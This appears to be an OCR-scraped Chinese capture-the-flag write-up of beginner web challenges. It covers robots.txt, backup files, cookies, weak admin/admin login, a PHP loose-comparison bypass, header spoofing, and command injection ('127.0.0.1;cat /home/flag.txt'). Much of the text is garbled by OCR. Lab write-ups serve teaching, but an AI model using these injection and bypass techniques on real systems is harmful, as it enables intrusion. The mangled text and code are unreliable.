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1. view_source

& H ik
XN T RS EE—AWITOERTD, E0FRERARIERIFETERT .

FLAG is not here

g R

HEARH, BERMIA Javascript XARBAT T HME. RATHT LEHEZERIsK T K.
AR U T . BATH LUX A R EE M TEAR .



< IDOCTYPE html>

<html lang="en">

<head>
<meta charset="UTF-8">
<title>Where is the FLAG</title>

document.oncontextmenu=new Function("return false")

document.onselectstart=new Function("return false")

</script>

<h1>FLAG is not here</hl>
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Disallow: flag_1s_h3re.php

http://159.138.137.79:63859/f1ag_1s_h3re.php
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3. backup
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python3 dirsearch.py -u http://159.138.137.79:59964/ -e *

200 438B http://159.138.137.79:59964/index.php
200 438B http://159.138.137.79:59964/index.php/login/

200 500B http://159.138.137.79:59964/index.php.bak

FTHF index.php.bak , ElfEflag

<meta charset="UTF-8">
<title>&Mn3Cfh</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css"” rel="stylesheet"” />
<style>
body{

margin-left:auto;

margin-right:auto;

margin-TOP:200PX;

width:20em;

}
</style>

4. cookie



&3 H #iiR
XZ IR/ T Ecookie B TR TG, /NTEESMAE. XEELTHEREG?
i R 1R

ITIFIF R TR 8 RIS

GET / HTTP/1.1

Host: 159.138.137.79:57848

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

: look-here=cookie.php
Connection: keep-alive
Cache-Control: max-age=0

FATAT AR I Cookie: look-here=cookie.php
Y5l http://159.138.137.79:57848/cookie.php

27~ See the http response

FEM N3k 3R 15 flag

HTTP/1.1 200 OK

Date: Fri, 17 Apr 2020 13:20:38 GMT

Server: Apache/2.4.7 (Ubuntu)
-Powered-By: PHP/5.5.9-1ubuntu4.26

flag: cyberpeace{26ab1841150a697865445ce5d0070520}

ary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 253
Keep-Alive: timeout=5, max=100

Connection: Keep-Alive
Content-Type: text/html
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input disabled class="btn btn-default” style="height:50px;width:200px;" type="submit" value="flag" name="auth

" LA Bldisabled RATEE M, #HHAMATLLET T . B8 fag.

— A EEIZAYREH

flag

cyberpeace{04cf11dbd227c338c1cact68c3506fb78}

R

HTML <input> #7%:H) disabled J&#:

disabled J& EHLE M iZZE M input TR . HEAK input TRBEATH, AT R
6. weak_auth
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please login as admin
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Host: 150.138.137 7064480

User-Agent: Mozilla/s 0 (Windows NT 10.0; WOWS4, nv-48.0) Gecko/20100101 Firefox/a8 0
cept text/html. application/xhtmitxmi application/sml.q=0 0.'F.q=0 8
ceptLanguage: zh-CN zh;qu0 8 en-US;q=0 5 en;q=0.3
cept-Encoding: gzip. deflate

NT: 1

eferer: hitp /150 138 137 70 04480/

ookie: look-here=cookie php

onnection: close

ontent- Type: application/s-wamsform-urlencoded

ontent-Length: 20

mame=admin&p assword= admin
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7. simple_php
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<?php

show_source(__ FILE_ );

include("config.php");
$a=@$_GET['a"];
$b=@$_GET['b"'];
if($a==0 and $a){

echo $flagl;

1
J

if(is_numeric($b)){

exit();

1
J

if($b>1234){
echo $flag2;
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http://159.138.137.79:61968/?a=abc&b=12345a

@l Load URL fhttp:/ﬁ 59.138.137.79:61968/?a=abc&8b=12345a
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show_source( FILE ):

include (“config. php”) :

$a=@$_GET[ a’ |;

$b=@$ GET['b’ ]:

if($a==0 and $a) {
echo §flagl;

}

if(is_numeric ($b)) {
exit () ;

}

if($b>1234) {
echo $flag?2:
}

> D}
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e $a="abc"
* $a==0 True
* $aTrue
e $b=1234abc

e $b==1234 True
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8. Get_Post
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Stop Headers Options About Help

Select action v Add Reset
Action Name Value Comment Edit
Add  X-Forwarded-For 123.123.123.123 ®

Delete
Add  Referer https://www.google.com ®
% Move to Top

Move to Bottom

Enable/Disable
Enable All
Disable All

@ Enabled
® Disabled
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11. command_execution
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127.0.0.1;find / -name "*flag*"

ping -c 3 127.0.0.1;find / -name "*flag*"

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl-64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq-2 ttl-64 time=0.021 ms
64 bytes from 127.0.0.1: icmp_seq-3 ttl-64 time=0.025 ms

--- 127.0.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2048ms
rtt min/avg/max/mdev = 0.021/0.024/0.028/0.006 ms
/home/flag.txt

/proc/sys/kernel/acpi_video_flags
/proc/sys/kernel/sched_domain/cpu@/domain@/flags
/proc/sys/kernel/sched_domain/cpu@/domainl/flags
/proc/sys/kernel/sched_domain/cpul/domain@/flags

HE T flag.bt/R J& H catiir & $1 I BRI A]

127.0.0.1;cat /home/flag.txt
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12. simple_js
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script type="text/javascript"

function dechiffre(pass_enc){
var pass "70,65,85,88,32,890,65,83,83,87,79,82,68,32,72,65,72,65";
var tab pass_enc.split(',"');
var tab2 pass.split(',");var i,j,k,1=0,m,n,0,p 51 957 tab.length;
k =3+ (1) + (n=0);
n tab2.length;
for(i (0=0);
i< (k=73=n); i++)
{o = tab[i-1];p String.fromCharCode((o = tab2[i]));
if(i 5)break;}
for(i = (0=0); i < (k = j = n); i++ ){
o] tab[i-1];
if(i i< k-1)
String.fromCharCode( (o = tab2[i]));

1
I

p String.fromCharCode(tab2[17]);
pass = p;
return pass;

1
J

String["fromCharCode" | (dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\X
PIAVENAVEIAVEVAVIAVENAVEIAVEIAV VAV ENAVE AV EVAVIIAVEVAVELL AV VIAVE LAV E T RD DI

h = window.prompt('Enter password');

alert( dechiffre(h) );

script
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IAVELAVEVAV VIAVEVAVELAV VIV ELAVE] N

[55,56,54,79,115,69,114,116,107,49,50]
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